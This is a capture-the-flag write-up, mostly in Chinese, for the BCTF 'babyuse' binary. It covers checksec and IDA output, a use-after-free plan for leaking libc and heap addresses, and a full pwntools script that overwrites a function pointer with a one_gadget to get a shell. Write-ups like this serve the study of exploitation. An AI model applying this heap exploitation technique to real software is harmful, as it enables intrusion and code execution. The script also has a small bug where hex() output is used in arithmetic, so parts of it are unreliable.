checksec

>>> print ELF('./babyuse')
[*] '/root/sploitfun/BCTF/babyuse'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

ida查看

int __cdecl main(int argc, const char **argv, const char **envp)
{
  sub_EF0();
  sub_F42();                                    // 打印一些东西
  while ( 1 )
  {
    menu_morty();
    switch ( sub_E7E() )
    {
      case 1:
        sub_FE4();                              // buy a gun
        break;
      case 2:
        sub_1278();                             // select a gun
        break;
      case 3:
        sub_1100();                             // list a gun
        break;
      case 4:
        sub_1211();                             // rename a gun
        break;
      case 5:
        sub_12CE();                             // use a gun
        break;
      case 6:
        sub_117A();                             // drop a gun
        break;
      case 7:
        return 0;                               // exit
      default:
        puts("Wrong input");
        break;
    }
  }
}

我们发现与gun相关的struct,一个是gun信息的list,每一个就是指针,一个是gun_pointer_inuse_flag,1表示这个gun在使用

.bss:0000408C ; int gun_pointer_list[]
.bss:0000408C gun_pointer_list dd ?                   ; DATA XREF: buy_a_gun_FE4+E7w
.bss:0000408C                                         ; sub_1100+34r ...
.bss:00004090                 db    ? ;
.bss:00004091                 db    ? ;
.bss:00004092                 db    ? ;
.bss:00004093                 db    ? ;
.bss:00004094                 db    ? ;
.bss:00004095                 db    ? ;
.bss:00004096                 db    ? ;
.bss:00004097                 db    ? ;
.bss:00004098                 db    ? ;
.bss:00004099                 db    ? ;
.bss:0000409A                 db    ? ;
.bss:0000409B                 db    ? ;
.bss:0000409C ; int gun_pointer_inuse_flag[]
.bss:0000409C gun_pointer_inuse_flag dd ?             ; DATA XREF: buy_a_gun_FE4+63r
.bss:0000409C                                         ; buy_a_gun_FE4+F1w ...
.bss:000040A0                 db    ? ;
.bss:000040A1                 db    ? ;
.bss:000040A2                 db    ? ;
.bss:000040A3                 db    ? ;
.bss:000040A4                 db    ? ;
.bss:000040A5                 db    ? ;
.bss:000040A6                 db    ? ;
.bss:000040A7                 db    ? ;
.bss:000040A8                 db    ? ;
.bss:000040A9                 db    ? ;
.bss:000040AA                 db    ? ;
.bss:000040AB                 db    ? ;

利用步骤

  1. 泄露libc地址,买三把抢(名字大小为64),然后选择第0把,删除第0把,再使用第0把,然后就可以泄露libc中unsorted bin 的地址,从而确定libc基址;

onegadget

one_gadget /lib/libc.so.6
0x3ee27 execve("/bin/sh", esp+0x34, environ)
constraints:
  ebx is the GOT address of libc
  [esp+0x34] == NULL

0x6890b execl("/bin/sh", "sh", [esp+0x8])
constraints:
  ebx is the GOT address of libc
  [esp+0x8] == NULL

0x68911 execl("/bin/sh", eax)
constraints:
  ebx is the GOT address of libc
  eax == NULL

0x68915 execl("/bin/sh", [esp+0x4])
constraints:
  ebx is the GOT address of libc
  [esp+0x4] == NULL

main_arena与main_hook的关系

gdb-peda$ x/6gx 0xf7678408
0xf7678408 <__malloc_hook>:	0x0000000000000000	0x0000000000000000
0xf7678418:	0x0000000000000000	0x0000000000000000
0xf7678428 <main_arena+8>:	0x5753600000000000	0x0000000000000000

main_hook的offset

readelf -s /lib/libc.so.6 | grep __malloc_hook
  1173: 001c7408     4 OBJECT  WEAK   DEFAULT   34 __malloc_hook@@GLIBC_2.0

根据泄露的地址计算出libc的地址

gdb-peda$ x/s 0xf7610450 - 48 - 0x18 - 0x1c7408
0xf7449000:	"\177ELF\001\001\001\003"

由于没有合适的one_gadget地址,我们选择一个然后下断点,发现我们控制了eip的地址

   0xf7549e17 <do_system+983>:	mov    DWORD PTR [esp],0x2
   0xf7549e1e <do_system+990>:	mov    DWORD PTR [esp+0x4],eax
   0xf7549e22 <do_system+994>:	call   0xf753a4c0 <sigprocmask>
=> 0xf7549e27 <do_system+999>:	mov    eax,DWORD PTR [ebx-0xc8]
   0xf7549e2d <do_system+1005>:	mov    DWORD PTR [ebx+0x1640],0x0
   0xf7549e37 <do_system+1015>:	mov    DWORD PTR [ebx+0x1644],0x0
   0xf7549e41 <do_system+1025>:	mov    eax,DWORD PTR [eax]

至此测试结束

  1. 选择第1把,再删除第1把,再使用第一把就可以泄露上一步骤free的smallbin的地址;

  2. 通过分析可知: Use a gun调用的方法是通过 (ptr)的方式查找函数地址,我们知道只要把最后的指针指向libc中的one gadget地址就可以拿到shell;

  3. 直接改写堆不可以成功,思路是通过改写一个堆块,将内容指向堆上的另一个地址,这样的话通过两层指针的寻址可以跳转到我们希望跳转的地址。

  4. 通过选择1块,然后删除两块,会在fastbin中存在两个fastbin,然后buy a gun这样的话,令被选择的块为内容块,填充器内容,便可实现跳转。

最终的exp

# coding=utf-8
from pwn import *

def buy(type, len):
    p.recvuntil('7. Exit\n')
    p.sendline('1')
    p.recvuntil('2. QBZ95\n')
    p.sendline(str(type))
    p.recvuntil("name")
    p.sendline(str(len))
    p.recvuntil("Input name:\n")
    p.sendline("a" * len)


def buy2(type, len, payload):
    p.recvuntil('7. Exit\n')
    p.sendline('1')
    p.recvuntil('2. QBZ95\n')
    p.sendline(str(type))
    p.recvuntil("name")
    p.sendline(str(len))
    p.recvuntil("Input name:\n")
    p.sendline(payload)


def select(id):
    p.recvuntil('7. Exit\n')
    p.sendline('2')
    p.recvuntil('Select a gun')
    p.sendline(str(id))


def list():
    p.recvuntil('7. Exit\n')
    p.sendline('3')


def rename(id, lenth, name):
    p.recvuntil('7. Exit')
    p.sendline('4')
    p.recvuntil('to rename:\n')
    p.sendline(str(id))
    p.recvuntil('name')
    p.sendline(str(lenth))
    p.recvuntil('Input name:\n')
    p.sendline(name)


def use():
    p.recvuntil('7. Exit\n')
    p.sendline('5')
    # p.recvuntil('4. Main menu\n')
    # p.sendline(str(type))


def use2(type):
    p.recvuntil('7. Exit\n')
    p.sendline('5')
    p.recvuntil('4. Main menu\n')
    p.sendline(str(type))


def delete(id):
    p.recvuntil('7. Exit\n')
    p.sendline('6')
    p.recvuntil('to delete:\n')
    p.sendline(str(id))


if __name__ == '__main__':
    p = process('./babyuse')

    buy(1, 64)  # leak libc
    buy(1, 64)  #型号,长度
    buy(1, 64)
    select(0)
    delete(0)
    use()                                                   #通过use来打印泄露的地址
    p.recvuntil("Select gun ")
    lib_leak = u32(p.recv(4))
    libc_base = hex(lib_leak - 48 - 0x18 - 0x1c7408)      #   <main_arena+48> - 48 - main_arena_main_hook  - main_hookoffset
    print 'libc_base:  ' + libc_base

    exec_addr = libc_base + 0x3ee27                         # 0x3ee27为one_gadget地址
    print 'exec_addr:  ' + hex(exec_addr)
    p.sendline("4")                                         #   Rename a Gun

    select(1)  # leak heap addr                             #上一个chunk的df指向了main_arena+48的位置,这个chunk的fd指向了上一个chunk的位置
    delete(1)
    use()                                                   #通过use来打印泄露的地址
    p.recvuntil("Select gun ")
    heap_leak = u32(p.recv(4))
    print 'heap_leak: ' + hex(heap_leak)
    p.sendline("4")                                         #   Rename a Gun
    raw_input('#')

    buy(1, 64)      #型号,长度
    buy(1, 64)

    rename(1, 64, p32(exec_addr) + p32(exec_addr) + p32(exec_addr))     #(id, lenth, name)
    select(1)
    delete(1)
    delete(0)

    buy2(1, 15, p32(heap_leak + 0x110) + p32(heap_leak + 0x110))
    use2(1)
    p.interactive()
    p.close()